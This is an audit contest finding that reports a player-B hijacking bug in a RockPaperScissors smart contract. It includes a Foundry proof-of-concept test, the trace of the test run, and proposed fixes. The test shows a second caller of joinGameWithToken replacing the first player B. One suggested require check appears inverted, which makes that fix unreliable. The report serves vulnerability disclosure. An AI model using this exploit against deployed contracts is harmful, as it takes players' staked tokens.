Submission Details
Severity:
Multiple player can join the same game leading to loss of tokens via `joinGameWithToken` function.
Description
In `RockPaperScissors` game there is no checks weather the `Game::playerB` has joined or not. That results in multiplayer would be join the same game at a time or after. Which lead to loss of funds of `playerB` previously joined. As the `RockPaperScissors::joinGameWithEth` function can be called by multiple players and the `playerB` will be change, that lead to loss of tokens of the previous `playerB`.
Impact
Multiple player can join the same game weather it is genuine user or hacker, whicch would results in loss of tokens of the players.
Proof of Concept
Let's creat a senario.
1. `Gaurang` create a game.
2. `Manav` joined the game.
3. Now, At the same time another player also want to play and join.
4. Suppose a player named `hacker` joined the game.
Now in the current `Game` struct the address of `playerB` will be changed to address of `hacker`, which lead to loss of tokens of `Manav`.
Proof Of Code:
```js
function testMultiplePlayerCanJoinInOneGameByToken() public {
// First create a game with token
vm.startPrank(playerA);
token.approve(address(game), 1);
gameId = game.createGameWithToken(TOTAL_TURNS, TIMEOUT);
vm.stopPrank();
// Now join the game with token
vm.startPrank(playerB);
token.approve(address(game), 1);
vm.expectEmit(true, true, false, true);
emit PlayerJoined(gameId, playerB);
game.joinGameWithToken(gameId);
vm.stopPrank();
// Verify token transfer
assertEq(token.balanceOf(playerB), 9);
assertEq(token.balanceOf(address(game)), 2);
// Verify game state
(address storedPlayerA, address storedPlayerB,,,,,,,,,,,,,, RockPaperScissors.GameState state) =
game.games(gameId);
assertEq(storedPlayerA, playerA);
assertEq(storedPlayerB, playerB);
assertEq(uint256(state), uint256(RockPaperScissors.GameState.Created));
address hacker = makeAddr("hacker");
vm.prank(address(game));
token.mint(hacker, 10);
vm.startPrank(hacker);
token.approve(address(game), 1);
game.joinGameWithToken(gameId);
vm.stopPrank();
// Verify token transfer
assertEq(token.balanceOf(hacker), 9);
assertEq(token.balanceOf(address(game)), 3);
// Verify game state
(address hStoredPlayerA, address hStoredPlayerB,,,,,,,,,,,,,, RockPaperScissors.GameState hState) =
game.games(gameId);
assertEq(hStoredPlayerA, playerA);
assertEq(hStoredPlayerB, hacker);
assertEq(uint256(hState), uint256(RockPaperScissors.GameState.Created));
}
```
Result:
```js
[PASS] testMultiplePlayerCanJoinInOneGameByToken() (gas: 335923)
Traces:
[395623] RockPaperScissorsTest::testMultiplePlayerCanJoinInOneGameByToken()
├─ [0] VM::startPrank(playerA: [0x23223AC37AC99a1eC831d3B096dFE9ba061571CF])
│ └─ ← [Return]
├─ [24342] WinningToken::approve(RockPaperScissors: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f], 1)
│ ├─ emit Approval(owner: playerA: [0x23223AC37AC99a1eC831d3B096dFE9ba061571CF], spender: RockPaperScissors: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f], value: 1)
│ └─ ← [Return] true
├─ [196288] RockPaperScissors::createGameWithToken(3, 600)
│ ├─ [2581] WinningToken::balanceOf(playerA: [0x23223AC37AC99a1eC831d3B096dFE9ba061571CF]) [staticcall]
│ │ └─ ← [Return] 10
│ ├─ [28287] WinningToken::transferFrom(playerA: [0x23223AC37AC99a1eC831d3B096dFE9ba061571CF], RockPaperScissors: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f], 1)
│ │ ├─ emit Transfer(from: playerA: [0x23223AC37AC99a1eC831d3B096dFE9ba061571CF], to: RockPaperScissors: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f], value: 1)
│ │ └─ ← [Return] true
│ ├─ emit GameCreated(gameId: 0, creator: playerA: [0x23223AC37AC99a1eC831d3B096dFE9ba061571CF], bet: 0, totalTurns: 3)
│ └─ ← [Return] 0
├─ [0] VM::stopPrank()
│ └─ ← [Return]
├─ [0] VM::startPrank(playerB: [0x3d3D63BabfeD85B3e08dE2d4A6c25b0d80cf77f1])
│ └─ ← [Return]
├─ [24342] WinningToken::approve(RockPaperScissors: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f], 1)
│ ├─ emit Approval(owner: playerB: [0x3d3D63BabfeD85B3e08dE2d4A6c25b0d80cf77f1], spender: RockPaperScissors: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f], value: 1)
│ └─ ← [Return] true
├─ [0] VM::expectEmit(true, true, false, true)
│ └─ ← [Return]
├─ emit PlayerJoined(gameId: 0, player: playerB: [0x3d3D63BabfeD85B3e08dE2d4A6c25b0d80cf77f1])
├─ [34658] RockPaperScissors::joinGameWithToken(0)
│ ├─ [2581] WinningToken::balanceOf(playerB: [0x3d3D63BabfeD85B3e08dE2d4A6c25b0d80cf77f1]) [staticcall]
│ │ └─ ← [Return] 10
│ ├─ [6387] WinningToken::transferFrom(playerB: [0x3d3D63BabfeD85B3e08dE2d4A6c25b0d80cf77f1], RockPaperScissors: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f], 1)
│ │ ├─ emit Transfer(from: playerB: [0x3d3D63BabfeD85B3e08dE2d4A6c25b0d80cf77f1], to: RockPaperScissors: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f], value: 1)
│ │ └─ ← [Return] true
│ ├─ emit PlayerJoined(gameId: 0, player: playerB: [0x3d3D63BabfeD85B3e08dE2d4A6c25b0d80cf77f1])
│ └─ ← [Return]
├─ [0] VM::stopPrank()
│ └─ ← [Return]
├─ [581] WinningToken::balanceOf(playerB: [0x3d3D63BabfeD85B3e08dE2d4A6c25b0d80cf77f1]) [staticcall]
│ └─ ← [Return] 9
├─ [0] VM::assertEq(9, 9) [staticcall]
│ └─ ← [Return]
├─ [581] WinningToken::balanceOf(RockPaperScissors: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f]) [staticcall]
│ └─ ← [Return] 2
├─ [0] VM::assertEq(2, 2) [staticcall]
│ └─ ← [Return]
├─ [8060] RockPaperScissors::games(0) [staticcall]
│ └─ ← [Return] playerA: [0x23223AC37AC99a1eC831d3B096dFE9ba061571CF], playerB: [0x3d3D63BabfeD85B3e08dE2d4A6c25b0d80cf77f1], 0, 600, 0, 1, 86401 [8.64e4], 3, 1, 0x0000000000000000000000000000000000000000000000000000000000000000, 0x0000000000000000000000000000000000000000000000000000000000000000, 0, 0, 0, 0, 0
├─ [0] VM::assertEq(playerA: [0x23223AC37AC99a1eC831d3B096dFE9ba061571CF], playerA: [0x23223AC37AC99a1eC831d3B096dFE9ba061571CF]) [staticcall]
│ └─ ← [Return]
├─ [0] VM::assertEq(playerB: [0x3d3D63BabfeD85B3e08dE2d4A6c25b0d80cf77f1], playerB: [0x3d3D63BabfeD85B3e08dE2d4A6c25b0d80cf77f1]) [staticcall]
│ └─ ← [Return]
├─ [0] VM::assertEq(0, 0) [staticcall]
│ └─ ← [Return]
├─ [0] VM::addr(<pk>) [staticcall]
│ └─ ← [Return] hacker: [0xa63c492D8E9eDE5476CA377797Fe1dC90eEAE7fE]
├─ [0] VM::label(hacker: [0xa63c492D8E9eDE5476CA377797Fe1dC90eEAE7fE], "hacker")
│ └─ ← [Return]
├─ [0] VM::prank(RockPaperScissors: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f])
│ └─ ← [Return]
├─ [31560] WinningToken::mint(hacker: [0xa63c492D8E9eDE5476CA377797Fe1dC90eEAE7fE], 10)
│ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: hacker: [0xa63c492D8E9eDE5476CA377797Fe1dC90eEAE7fE], value: 10)
│ └─ ← [Return]
├─ [0] VM::startPrank(hacker: [0xa63c492D8E9eDE5476CA377797Fe1dC90eEAE7fE])
│ └─ ← [Return]
├─ [24342] WinningToken::approve(RockPaperScissors: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f], 1)
│ ├─ emit Approval(owner: hacker: [0xa63c492D8E9eDE5476CA377797Fe1dC90eEAE7fE], spender: RockPaperScissors: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f], value: 1)
│ └─ ← [Return] true
├─ [7958] RockPaperScissors::joinGameWithToken(0)
│ ├─ [581] WinningToken::balanceOf(hacker: [0xa63c492D8E9eDE5476CA377797Fe1dC90eEAE7fE]) [staticcall]
│ │ └─ ← [Return] 10
│ ├─ [3587] WinningToken::transferFrom(hacker: [0xa63c492D8E9eDE5476CA377797Fe1dC90eEAE7fE], RockPaperScissors: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f], 1)
│ │ ├─ emit Transfer(from: hacker: [0xa63c492D8E9eDE5476CA377797Fe1dC90eEAE7fE], to: RockPaperScissors: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f], value: 1)
│ │ └─ ← [Return] true
│ ├─ emit PlayerJoined(gameId: 0, player: hacker: [0xa63c492D8E9eDE5476CA377797Fe1dC90eEAE7fE])
│ └─ ← [Return]
├─ [0] VM::stopPrank()
│ └─ ← [Return]
├─ [581] WinningToken::balanceOf(hacker: [0xa63c492D8E9eDE5476CA377797Fe1dC90eEAE7fE]) [staticcall]
│ └─ ← [Return] 9
├─ [0] VM::assertEq(9, 9) [staticcall]
│ └─ ← [Return]
├─ [581] WinningToken::balanceOf(RockPaperScissors: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f]) [staticcall]
│ └─ ← [Return] 3
├─ [0] VM::assertEq(3, 3) [staticcall]
│ └─ ← [Return]
├─ [2060] RockPaperScissors::games(0) [staticcall]
│ └─ ← [Return] playerA: [0x23223AC37AC99a1eC831d3B096dFE9ba061571CF], hacker: [0xa63c492D8E9eDE5476CA377797Fe1dC90eEAE7fE], 0, 600, 0, 1, 86401 [8.64e4], 3, 1, 0x0000000000000000000000000000000000000000000000000000000000000000, 0x0000000000000000000000000000000000000000000000000000000000000000, 0, 0, 0, 0, 0
├─ [0] VM::assertEq(playerA: [0x23223AC37AC99a1eC831d3B096dFE9ba061571CF], playerA: [0x23223AC37AC99a1eC831d3B096dFE9ba061571CF]) [staticcall]
│ └─ ← [Return]
├─ [0] VM::assertEq(hacker: [0xa63c492D8E9eDE5476CA377797Fe1dC90eEAE7fE], hacker: [0xa63c492D8E9eDE5476CA377797Fe1dC90eEAE7fE]) [staticcall]
│ └─ ← [Return]
├─ [0] VM::assertEq(0, 0) [staticcall]
│ └─ ← [Return]
└─ ← [Return]
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 39.73ms (5.35ms CPU time)
```
Recommendations
There can be multiple solution for this.
1. Add new state to the `GameState` struct to lock the perticuler game after one player joined the game.
```diff
+ Engaged
```
Update the `Game` struct to determine weather game is engaged or not.
```diff
+ GameState engagedState;
```
Also add this check into the `RockPaperScissors::joinGameWithEth` function like following.
```diff
+ require(game.engagedState == GameState.Engaged, "Game not open to join");
```
Update the state after `playerB` join the game.
```diff
+ game.engagedState = GameState.Engaged;
game.playerB = msg.sender;
emit PlayerJoined(_gameId, msg.sender);
```
... Update functions accoringly in contract.
2. Check for the `playerB` address in the game.
Check the address of the playerB in the game weather it is `zero` or not.
Add this into `RockPaperScissors::joinGameWithEth` function.
```diff
+ require(game.playerB == address(0), "Game not open to join");
```
Updates
Appeal created
m3dython 3 months ago
Submission Judgement Published Assigned finding tags:
Absence of State Change on Join Allows Player B Hijacking
Game state remains Created after a player joins
Rewards breakdown
nSLOC
349This contest has a flat reward structure with the following payouts:
100 EXP
20 EXP
2 EXP
Live
The contest is live. Earn rewards by submitting a finding.
Appeals
This is your time to appeal against judgements on your submissions.
Appeals Review
Appeals are being carefully reviewed by our judges.